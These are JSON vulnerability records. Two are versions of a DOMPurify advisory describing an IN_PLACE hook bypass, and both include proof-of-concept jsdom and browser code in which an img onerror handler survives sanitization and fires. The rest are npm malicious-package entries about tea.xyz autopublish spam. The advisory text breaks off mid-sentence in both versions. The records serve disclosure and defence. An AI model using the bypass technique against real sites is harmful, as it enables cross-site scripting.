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{"schema_version":"1.9.0","id":"GHSA-mrv2-3pqr-j5jr","published":"2026-10-22T16:24:52Z","modified":"2026-10-27T10:56:05.613459690Z","aliases":["CVE-2026-116803"],"summary":"DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)","details":"### Summary\n\nThe 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `<img onerror>` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `<img onload>` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook's own node.\n\n### Tested versions\n\n- 3.4.16 (latest) and main at 18f8f0e\n- also 3.4.15, 3.4.12 and 2.5.8\n\njsdom for the matrix below, and Chromium (Playwright) for the event actually firing.\n\n### Details\n\n`src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:\n\n```js\nif (currentNode === root || getParentNode(currentNode) !== null) {\n return false;\n}\nif (IN_PLACE) {\n _neutralizeSubtree(currentNode);\n}\n```\n\nIt only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.\n\n### PoC (jsdom)\n\n```js\nconst { JSDOM } = require('jsdom')\nconst createDOMPurify = require('dompurify')\nconst win = new JSDOM('<!doctype html><body></body>').window\nconst doc = win.document\n\nfor (const mode of ['self', 'parent', 'nextSibling']) {\n const DOMPurify = createDOMPurify(win)\n doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +\n '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'\n const root = doc.getElementById('root')\n const evil = doc.getElementById('evil')\n\n // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)\n DOMPurify.addHook('afterSanitizeAttributes', (node) => {\n if (node.getAttribute && node.getAttribute('class') === 'bad') {\n if (mode === 'self') node.remove()\n if (mode === 'parent') node.parentNode.remove()\n if (mode === 'nextSibling') node.nextElementSibling.remove()\n }\n })\n\n DOMPurify.sanitize(root, { IN_PLACE: true })\n console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))\n}\n```\n\nOutput on 3.4.16:\n\n```\n3.4.16 self onerror = null\n3.4.16 parent onerror = \"alert(1)\"\n3.4.16 nextSibling onerror = \"alert(1)\"\n```\n\nIn `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`.\n\n### PoC (browser)\n\nThe same thing in a real page, served from 127.0.0.1 and opened in Chromium:\n\n```html\n<!doctype html><meta charset=utf-8>\n<script src=\"purify.min.js\"></script>\n<body><pre id=log></pre>\n<script>\nwindow.fired = [];\nfunction run(mode) {\n const D = DOMPurify(window);\n D.addHook('afterSanitizeAttributes', n => {\n if (n.getAttribute && n.getAttribute('class') === 'bad') {\n if (mode === 'parent') n.parentNode.remove();\n if (mode === 'self') n.remove();\n }\n });\n const root = document.createElement('div');\n document.body.appendChild(root);\n root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror=\"fired.push(\\'' + mode + '\\')\"></figure><p>ok</p>';\n D.sanitize(root, { IN_PLACE: true });\n return root.outerHTML;\n}\nconst a = run('self'), b = run('parent');\nsetTimeout(() => {\n document.getElementById('log').textContent =\n 'version=' + DOMPurify.version + '\\nself out=' + a + '\\nparent out=' + b + '\\nfired=' + JSON.stringify(fired);\n}, 1500);\n</script>\n```\n\nResult on 3.4.16:\n\n```\nversion=3.4.16\nself out=<div><figure><img src=\"x\"></figure><p>ok</p></div>\nparent out=<div><p>ok</p></div>\nfired=[\"parent\"]\n```\n\nThe returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.\n\n### Impact\n\nAn app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby elementLine truncated
{"schema_version":"1.9.2","id":"GHSA-mrv2-3pqr-j5jr","published":"2026-10-22T16:24:52Z","modified":"2026-11-19T00:15:04.695368164Z","aliases":["CVE-2026-116803"],"summary":"DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)","details":"### Summary\n\nThe 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `<img onerror>` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `<img onload>` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook's own node.\n\n### Tested versions\n\n- 3.4.16 (latest) and main at 18f8f0e\n- also 3.4.15, 3.4.12 and 2.5.8\n\njsdom for the matrix below, and Chromium (Playwright) for the event actually firing.\n\n### Details\n\n`src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:\n\n```js\nif (currentNode === root || getParentNode(currentNode) !== null) {\n return false;\n}\nif (IN_PLACE) {\n _neutralizeSubtree(currentNode);\n}\n```\n\nIt only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.\n\n### PoC (jsdom)\n\n```js\nconst { JSDOM } = require('jsdom')\nconst createDOMPurify = require('dompurify')\nconst win = new JSDOM('<!doctype html><body></body>').window\nconst doc = win.document\n\nfor (const mode of ['self', 'parent', 'nextSibling']) {\n const DOMPurify = createDOMPurify(win)\n doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +\n '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'\n const root = doc.getElementById('root')\n const evil = doc.getElementById('evil')\n\n // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)\n DOMPurify.addHook('afterSanitizeAttributes', (node) => {\n if (node.getAttribute && node.getAttribute('class') === 'bad') {\n if (mode === 'self') node.remove()\n if (mode === 'parent') node.parentNode.remove()\n if (mode === 'nextSibling') node.nextElementSibling.remove()\n }\n })\n\n DOMPurify.sanitize(root, { IN_PLACE: true })\n console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))\n}\n```\n\nOutput on 3.4.16:\n\n```\n3.4.16 self onerror = null\n3.4.16 parent onerror = \"alert(1)\"\n3.4.16 nextSibling onerror = \"alert(1)\"\n```\n\nIn `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`.\n\n### PoC (browser)\n\nThe same thing in a real page, served from 127.0.0.1 and opened in Chromium:\n\n```html\n<!doctype html><meta charset=utf-8>\n<script src=\"purify.min.js\"></script>\n<body><pre id=log></pre>\n<script>\nwindow.fired = [];\nfunction run(mode) {\n const D = DOMPurify(window);\n D.addHook('afterSanitizeAttributes', n => {\n if (n.getAttribute && n.getAttribute('class') === 'bad') {\n if (mode === 'parent') n.parentNode.remove();\n if (mode === 'self') n.remove();\n }\n });\n const root = document.createElement('div');\n document.body.appendChild(root);\n root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror=\"fired.push(\\'' + mode + '\\')\"></figure><p>ok</p>';\n D.sanitize(root, { IN_PLACE: true });\n return root.outerHTML;\n}\nconst a = run('self'), b = run('parent');\nsetTimeout(() => {\n document.getElementById('log').textContent =\n 'version=' + DOMPurify.version + '\\nself out=' + a + '\\nparent out=' + b + '\\nfired=' + JSON.stringify(fired);\n}, 1500);\n</script>\n```\n\nResult on 3.4.16:\n\n```\nversion=3.4.16\nself out=<div><figure><img src=\"x\"></figure><p>ok</p></div>\nparent out=<div><p>ok</p></div>\nfired=[\"parent\"]\n```\n\nThe returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.\n\n### Impact\n\nAn app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby elementLine truncated
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{"schema_version":"1.7.3","id":"MAL-2025-151220","published":"2025-11-12T16:47:05Z","modified":"2025-11-12T16:47:05Z","summary":"Malicious code in abia-avugi-anina (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1840b4e176e64c0612427263e85af96f2ec8b8af81e87acd43b595e7ecfb054c)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"abia-avugi-anina","ecosystem":"npm","purl":"pkg:npm/abia-avugi-anina"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abia-avugi-anina/MAL-2025-151220.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:18:06.144980467Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"1840b4e176e64c0612427263e85af96f2ec8b8af81e87acd43b595e7ecfb054c","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2025-151220","published":"2025-11-12T16:47:05Z","modified":"2026-11-18T19:45:03.567921595Z","aliases":["GHSA-rp45-vmj7-729c"],"summary":"Malicious code in abia-avugi-anina (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1840b4e176e64c0612427263e85af96f2ec8b8af81e87acd43b595e7ecfb054c)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (ee51c30cfea6829a419c9f180a1e650dbd9ca02d585e07a243f6ebc415e053f4)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"abia-avugi-anina","ecosystem":"npm","purl":"pkg:npm/abia-avugi-anina"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abia-avugi-anina/MAL-2025-151220.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rp45-vmj7-729c"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:18:06.144980467Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"1840b4e176e64c0612427263e85af96f2ec8b8af81e87acd43b595e7ecfb054c","source":"amazon-inspector"},{"id":"GHSA-rp45-vmj7-729c","import_time":"2026-11-18T19:17:37.796613184Z","modified_time":"2026-11-18T18:22:20Z","sha256":"ee51c30cfea6829a419c9f180a1e650dbd9ca02d585e07a243f6ebc415e053f4","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.7.3","id":"MAL-2025-151267","published":"2025-11-12T16:47:05Z","modified":"2025-11-12T16:47:05Z","summary":"Malicious code in abiba-avbai-ayub (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d0da0494a93c84f079d44b3fa3ba43e1a0dbd4ad6484f8ada49b085679d2f75e)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"abiba-avbai-ayub","ecosystem":"npm","purl":"pkg:npm/abiba-avbai-ayub"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abiba-avbai-ayub/MAL-2025-151267.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:29:36.944296625Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"d0da0494a93c84f079d44b3fa3ba43e1a0dbd4ad6484f8ada49b085679d2f75e","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2025-151267","published":"2025-11-12T16:47:05Z","modified":"2026-11-18T19:45:03.588803352Z","aliases":["GHSA-xr82-65pq-hwqf"],"summary":"Malicious code in abiba-avbai-ayub (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d0da0494a93c84f079d44b3fa3ba43e1a0dbd4ad6484f8ada49b085679d2f75e)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (c1b68e5dc10c3c258c71a6c65341838ae8ef8bdbbfe1a365c175f2484b54243d)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"abiba-avbai-ayub","ecosystem":"npm","purl":"pkg:npm/abiba-avbai-ayub"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abiba-avbai-ayub/MAL-2025-151267.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-xr82-65pq-hwqf"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:29:36.944296625Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"d0da0494a93c84f079d44b3fa3ba43e1a0dbd4ad6484f8ada49b085679d2f75e","source":"amazon-inspector"},{"id":"GHSA-xr82-65pq-hwqf","import_time":"2026-11-18T19:17:37.801994057Z","modified_time":"2026-11-18T18:55:26Z","sha256":"c1b68e5dc10c3c258c71a6c65341838ae8ef8bdbbfe1a365c175f2484b54243d","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.7.3","id":"MAL-2025-151281","published":"2025-11-12T16:47:05Z","modified":"2025-11-12T16:47:05Z","summary":"Malicious code in abiba-avi-aumaunnaaa (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5070d121d275849e93f54e2f46c4274b668cb642f977f4181c65aae1653d1cf3)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"abiba-avi-aumaunnaaa","ecosystem":"npm","purl":"pkg:npm/abiba-avi-aumaunnaaa"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abiba-avi-aumaunnaaa/MAL-2025-151281.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:15:17.417452005Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"5070d121d275849e93f54e2f46c4274b668cb642f977f4181c65aae1653d1cf3","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2025-151281","published":"2025-11-12T16:47:05Z","modified":"2026-11-18T19:45:03.579706466Z","aliases":["GHSA-f4pf-fffj-pv2f"],"summary":"Malicious code in abiba-avi-aumaunnaaa (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5070d121d275849e93f54e2f46c4274b668cb642f977f4181c65aae1653d1cf3)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (ff5d56d216a770e94b74c7440d43ff423b7a33359af2b8169bc36b2c5b6d5d23)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"abiba-avi-aumaunnaaa","ecosystem":"npm","purl":"pkg:npm/abiba-avi-aumaunnaaa"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abiba-avi-aumaunnaaa/MAL-2025-151281.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f4pf-fffj-pv2f"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:15:17.417452005Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"5070d121d275849e93f54e2f46c4274b668cb642f977f4181c65aae1653d1cf3","source":"amazon-inspector"},{"id":"GHSA-f4pf-fffj-pv2f","import_time":"2026-11-18T19:17:37.78362058Z","modified_time":"2026-11-18T18:57:10Z","sha256":"ff5d56d216a770e94b74c7440d43ff423b7a33359af2b8169bc36b2c5b6d5d23","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.7.3","id":"MAL-2025-170610","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in aamirhafiz (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6ebc7084a6db8c8be5a16944f348f5b2a1b615fd64c4a9f19d5b3da5a69580db)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"aamirhafiz","ecosystem":"npm","purl":"pkg:npm/aamirhafiz"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/aamirhafiz/MAL-2025-170610.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:11:06.336038597Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"6ebc7084a6db8c8be5a16944f348f5b2a1b615fd64c4a9f19d5b3da5a69580db","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2025-170610","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:04.208843814Z","aliases":["GHSA-8rm4-r7pm-8v9r"],"summary":"Malicious code in aamirhafiz (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6ebc7084a6db8c8be5a16944f348f5b2a1b615fd64c4a9f19d5b3da5a69580db)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (b7feb04bef2307f987f1260d05acc460398577ffa0417bf973cd6cbe2290fdeb)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"aamirhafiz","ecosystem":"npm","purl":"pkg:npm/aamirhafiz"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/aamirhafiz/MAL-2025-170610.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8rm4-r7pm-8v9r"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:11:06.336038597Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"6ebc7084a6db8c8be5a16944f348f5b2a1b615fd64c4a9f19d5b3da5a69580db","source":"amazon-inspector"},{"id":"GHSA-8rm4-r7pm-8v9r","import_time":"2026-11-18T19:17:37.779523473Z","modified_time":"2026-11-18T18:19:34Z","sha256":"b7feb04bef2307f987f1260d05acc460398577ffa0417bf973cd6cbe2290fdeb","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.7.3","id":"MAL-2025-170656","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in adilfaheem (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (df3ec428f89c77a35982ee24b679b829350d4b8dc792d4a1b27967e6fa3f9366)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"adilfaheem","ecosystem":"npm","purl":"pkg:npm/adilfaheem"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adilfaheem/MAL-2025-170656.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:26.261568446Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"df3ec428f89c77a35982ee24b679b829350d4b8dc792d4a1b27967e6fa3f9366","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2025-170656","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:03.542285688Z","aliases":["GHSA-qfc8-px48-xx9p"],"summary":"Malicious code in adilfaheem (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (df3ec428f89c77a35982ee24b679b829350d4b8dc792d4a1b27967e6fa3f9366)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (1304d250e0ee8f6751d9d33bb94955ea0c4e926447da8c886606196b552221db)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"adilfaheem","ecosystem":"npm","purl":"pkg:npm/adilfaheem"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adilfaheem/MAL-2025-170656.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qfc8-px48-xx9p"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:26.261568446Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"df3ec428f89c77a35982ee24b679b829350d4b8dc792d4a1b27967e6fa3f9366","source":"amazon-inspector"},{"id":"GHSA-qfc8-px48-xx9p","import_time":"2026-11-18T19:17:37.794225916Z","modified_time":"2026-11-18T18:24:26Z","sha256":"1304d250e0ee8f6751d9d33bb94955ea0c4e926447da8c886606196b552221db","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.7.3","id":"MAL-2025-170660","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in adilnabeel (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (06be0c879695905102a4db43344b3ade55d9ad3ead5ceca321abb0e2bff4f16f)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"adilnabeel","ecosystem":"npm","purl":"pkg:npm/adilnabeel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adilnabeel/MAL-2025-170660.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:21.0778261Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"06be0c879695905102a4db43344b3ade55d9ad3ead5ceca321abb0e2bff4f16f","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
